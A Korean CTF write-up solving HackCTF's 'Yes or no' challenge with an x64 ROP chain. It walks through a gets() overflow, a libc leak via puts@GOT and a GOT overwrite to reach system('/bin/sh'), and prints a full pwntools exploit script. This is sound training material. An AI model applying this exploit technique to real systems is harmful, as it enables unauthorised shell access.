이번에 풀이할 문제는 HackCTF의 Yes or no 문제로 x64 rop 공격이 쓰이는 문제인데, 풀 당시에는 x64 rop뿐만 아니라 x86 rop 공격에도 무지했기 때문에 시간이 많이 소요됐다. (포스팅이 많이 늦은 이유기도 하다.)
문제 파일은 다른 문제들과 달리 binary 파일과 libc-2.27.so가 있다. libc-2.27.so 파일은 문제 서버와 로컬 서버의 libc base 주소가 다르기 때문에, 이 파일을 참고해 서버 libc base address 기준으로 exploit 할 수 있도록 하는 것이다.
문제 파일을 실행하기 전 보호기법을 확인해봤다.
NX가 걸려 있어 쉘 코드를 삽입할 수 없고 64bit 파일인 것을 알 수 있다. stack canary가 없는 것을 봐서 추측할 수 있는 공격은 두 가지 정도 있다.
stack bof를 통한 ret 변조(shell을 얻게해주는 곳으로)
rtl, rop를 통한 nx bit 우회(rop의 경우 aslr도 우회)
이 외로도 fsb 등의 공격도 가능할 수 있다.
ldd 명령어로 확인해보면 aslr이 걸려있는 것을 알 수 있으므로 ret overwrite, rtl 공격은 힘들 것 같다. 현재 상황에서는 rop 공격이 가장 유력하다.
문제 파일을 실행하면 "Show me your number~!"라는 문구가 출력되고 입력을 받는다. 아무 값이나 입력을 한다면 'All I can say to you is "do system+1094"'라는 문구와 good luck이 출력되는 것을 볼 수 있다.
ida를 통해 정확한 동작을 파악해보겠다.
위는 main 코드를 ida로 본 모습이다.
입력 값을 fgets 함수로 받은 후 atoi로 정수형 변환을 하는데, 이 때 여러 조건문을 거쳐 v10 == v6 * v5 << (++v11 % 20 + 5) 조건이 참일 경우 stack bof에 취약한 gets 함수를 호출하는 것을 알 수 있다.
일단 취약점이 해당 조건문에만 발생하므로 위 조건이 참이 되도록 입력 값을 넣어야한다.
입력 값은 gdb를 통해 해당 조건 분기에 접근한 다음 어떤 값을 입력 값과 비교하는지를 확인한다면 구할 수 있을 것이다.
gdb를 통해 확인한다면 입력 값을 0x960000(10진수 9,830,400)과 비교하는 것을 볼 수 있다.
위에서 구한 9830400을 입력해주면 해당 조건 분기를 통과해 gets 함수를 통한 입력을 할 수 있다.
이제 gets 함수를 호출해 bof를 일으킬 수 있으니 공격 코드를 작성해야한다.
먼저 aslr이 걸려있고 바이너리 내에 쉘을 얻게해주는 함수가 따로 없으니 rop 공격을 수행해야한다.
gdb로 main 시작 부분에 bp를 걸어 ret의 스택 주소를 확인하고 gets 함수에 bp를 걸어서 buffer의 스택 주소를 구한다면 buffer에서 ret까지의 거리가 26byte인 것을 알 수 있으니 dummy 값 26byte를 먼저 추가해야한다.
system 함수의 주소를 구하기 위해 memory leak를 해야한다. 나는 gets 함수의 원본 주소(gets_got)를 puts 함수로 출력하게 한 후 libc 파일에서 gets와 system 사이의 거리를 구해, 이 거리를 빼줘 system 함수의 주소를 구하는 방식으로 계획을 세웠다.
x64에서는 rdi, rsi, rdx, rcx, r8, r9 레지스터에 인자를 넣어서(부족할 경우 stack에 인자를 추가로 넣음) 함수를 호출하기 때문에 x86 rop 공격과 달리 인자로 줄 값을 레지스터에 넣어야한다.
gets, puts 모두 1개의 인자만 가지므로
pop rdi
ret
가젯만 찾으면 된다.
$ ROPgadget --binary ./yes_or_no
원래는 objdump로 가젯을 찾았지만 objdump로 감지하지 못하는(내가 못 찾는걸 수도 있다) 가젯들을 ROPgadget이 찾아주기 때문에 ROPgadget을 사용했다.
pop rdi; ret 가젯의 주소를 구했다.
그러면 gets의 원본 주소를 구하는 payload는 다음과 같이 구상될 것이다.
payload = b'A'*26 # dummy
payload += pop_rdi + gets_got + puts_plt
leak를 통해 system 함수의 주소를 구했다하더라도 system 함수에 "/bin/sh" 인자를 줘야지만 쉘을 얻을 수 있으므로 payload의 다음 줄은 gets 함수로 bss(aslr로 인해 주소가 바뀌지 않는 영역)영역에 "/bin/sh"를 입력 받아 저장할 것이다.
payload += pop_rdi + bss + gets_plt
또한 얻은 system 함수의 주소로 호출할 수 있는게 아닌 바이너리에서 사용하는 함수의 got을 overwrite 해야지 호출할 수 있으므로 gets 함수를 이용해 system 함수의 주소를 입력 받고, 그 주소를 puts 함수의 got에 overwrite하도록 payload를 추가해야한다.
payload += pop_rdi + puts_got + gets_plt
마지막으로 puts의 got에 system 함수의 주소가 overwrite 됐으므로 puts를 bss("/bin/sh"가 들어갈 있을) 주소를 인자로 호출하면 system 함수가 "/bin/sh"를 인자로 호출될 것이다.
전체 exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
#p = process("./yes_or_no")
p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")
# connect server and load binary and libc
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
gets_plt = p64(e.plt['gets'])
gets_got = p64(e.got['gets'])
# get plt and got
bss = p64(e.bss())
# get bss section address
pop_rdi = p64(0x0000000000400883)
# gadget address
gets_printf_offset = libc.symbols['gets'] - libc.symbols['system']
# get offset between gets and system function
payload = b'A'*26 # dummy
payload += pop_rdi + gets_got + puts_plt
payload += pop_rdi + bss + gets_plt
payload += pop_rdi + puts_got + gets_plt
payload += pop_rdi + bss + puts_plt
# payload
print(p.recvline())
p.sendline("9830400")
p.recvuntil("That's cool. Follow me\n")
p.sendline(payload)
system_address = p64(u64(p.recvline().ljust(8, b'\x00')) - gets_printf_offset)
# get system address
p.sendline(b"/bin/sh")
# save "/bin/sh" to bss section
sleep(1)
p.sendline(system_address)
# got overwrite
p.interactive()
payload 외로도 9830400을 입력해 gets 함수를 호출하는 부분, pwntools의 ELF와 .plt, .got을 통해 함수의 plt, got 주소를 얻는 부분, symbols 함수를 통해 libc에서의 gets - system offset을 구하는 부분, payload를 통해 출력되는 gets 함수의 주소를 통해 system 함수의 주소를 구하는 부분이 존재한다.
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] g++ pwn (0) | 2021.07.05 |
---|---|
[HackCTF] RTL_World (0) | 2021.06.30 |
[HackCTF] BOF_PIE (0) | 2021.05.11 |
[HackCTF] Offset (0) | 2021.05.11 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.05.11 |